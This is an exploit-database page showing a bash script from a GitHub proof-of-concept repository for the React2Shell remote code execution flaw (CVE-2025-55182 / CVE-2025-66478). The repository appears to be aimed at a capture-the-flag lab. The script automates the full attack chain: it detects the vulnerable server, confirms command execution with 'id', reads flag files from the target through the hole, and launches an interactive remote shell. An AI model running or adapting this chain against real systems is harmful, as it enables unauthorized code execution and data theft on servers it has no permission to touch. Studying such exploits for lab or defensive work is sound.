Exploit database

GH-669e981ecff0f8ffa60eff5da2f06b52

thestingr/reactoops-writeup

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
thestingr/reactoops-writeupRevision d39ed47b128a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

quick_exploit.sh

Shell · 4,659 bytes
#!/bin/bash

# ReactOOPS Quick Exploitation Script
# By TheStingR for Team ISP1337Hackers
# Usage: ./quick_exploit.sh <target_ip:port>
# Example: ./quick_exploit.sh 10.10.10.100:5000

set -e

# Configuration
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REACT2SHELL_DIR="$SCRIPT_DIR/react2shell"
LOG_FILE="$SCRIPT_DIR/exploit_log.txt"

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
BOLD='\033[1m'
NC='\033[0m'

# Logging function
log() {
    echo -e "${BLUE}[*]${NC} $1"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$LOG_FILE"
}

log_success() {
    echo -e "${GREEN}[+]${NC} $1"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] SUCCESS: $1" >> "$LOG_FILE"
}

log_error() {
    echo -e "${RED}[-]${NC} $1"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] ERROR: $1" >> "$LOG_FILE"
}

log_warn() {
    echo -e "${YELLOW}[!]${NC} $1"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] WARNING: $1" >> "$LOG_FILE"
}

# Usage
if [[ $# -lt 1 ]]; then
    echo "Usage: $0 <target_ip:port>"
    echo "Example: $0 10.10.10.100:5000"
    exit 1
fi

TARGET_ADDR="$1"
TARGET_URL="http://$TARGET_ADDR"

# Check if react2shell exists
if [[ ! -d "$REACT2SHELL_DIR" ]]; then
    log_error "react2shell directory not found at $REACT2SHELL_DIR"
    exit 1
fi

# Initialize log
echo "" >> "$LOG_FILE"
log "======================================="
log "ReactOOPS Exploitation Session"
log "Target: $TARGET_URL"
log "Started: $(date)"
log "======================================="

echo ""
echo -e "${BOLD}${CYAN}╔═══════════════════════════════════════════════════════════╗${NC}"
echo -e "${BOLD}${CYAN}║${NC}  ${BOLD}ReactOOPS - React2Shell Exploitation${NC}                      ${BOLD}${CYAN}║${NC}"
echo -e "${BOLD}${CYAN}║${NC}  CVE-2025-55182 / CVE-2025-66478                          ${BOLD}${CYAN}║${NC}"
echo -e "${BOLD}${CYAN}╚═══════════════════════════════════════════════════════════╝${NC}"
echo ""

# Step 1: Detect vulnerability
log "Step 1: Detecting vulnerability..."
if "$REACT2SHELL_DIR/detect.sh" "$TARGET_URL" > /tmp/detect_output.txt 2>&1; then
    log_warn "Server appears patched or detection inconclusive"
    cat /tmp/detect_output.txt
else
    DETECT_CODE=$?
    if [[ $DETECT_CODE -eq 1 ]]; then
        log_success "Server is VULNERABLE to React2Shell RCE!"
        cat /tmp/detect_output.txt
    else
        log_warn "Detection returned code: $DETECT_CODE"
        cat /tmp/detect_output.txt
    fi
fi

echo ""
log "Step 2: Testing RCE with 'id' command..."
ID_OUTPUT=$("$REACT2SHELL_DIR/exploit-redirect.sh" -q "$TARGET_URL" "id" 2>/dev/null || echo "COMMAND_FAILED")

if [[ "$ID_OUTPUT" != "COMMAND_FAILED" ]] && [[ ! -z "$ID_OUTPUT" ]]; then
    log_success "RCE Confirmed! Command execution successful"
    echo -e "${CYAN}Output:${NC}"
    echo "$ID_OUTPUT"
    echo "[$(date '+%Y-%m-%d %H:%M:%S')] ID OUTPUT: $ID_OUTPUT" >> "$LOG_FILE"
else
    log_error "Command failed or returned no output"
    log "Attempting alternative exploit method..."
fi

echo ""
log "Step 3: Attempting to find and read flag..."

# Try common flag locations
FLAG_LOCATIONS=(
    "/flag.txt"
    "/flag"
    "flag.txt"
    "./flag"
    "/home/*/flag.txt"
    "/root/flag.txt"
)

for flag_loc in "${FLAG_LOCATIONS[@]}"; do
    log "Trying: $flag_loc"
    FLAG_OUTPUT=$("$REACT2SHELL_DIR/exploit-redirect.sh" -q "$TARGET_URL" "cat $flag_loc 2>/dev/null" 2>/dev/null || echo "")
    
    if [[ ! -z "$FLAG_OUTPUT" ]] && [[ "$FLAG_OUTPUT" != "cat:"* ]] && [[ ! "$FLAG_OUTPUT" =~ "No such file" ]]; then
        log_success "Flag found at: $flag_loc"
        echo -e "${GREEN}${BOLD}═══════════════════════════════════════════${NC}"
        echo -e "${GREEN}${BOLD}FLAG:${NC}"
        echo -e "${YELLOW}$FLAG_OUTPUT${NC}"
        echo -e "${GREEN}${BOLD}═══════════════════════════════════════════${NC}"
        echo "[$(date '+%Y-%m-%d %H:%M:%S')] FLAG FOUND: $FLAG_OUTPUT" >> "$LOG_FILE"
        break
    fi
done

echo ""
log "Step 4: Starting interactive shell..."
log "Use 'help' for command list, 'exit' to quit"
log "All commands are being logged to $LOG_FILE"
echo ""

# Launch interactive shell
"$REACT2SHELL_DIR/shell.sh" "$TARGET_URL"

log "Exploitation session completed"
log "Log saved to: $LOG_FILE"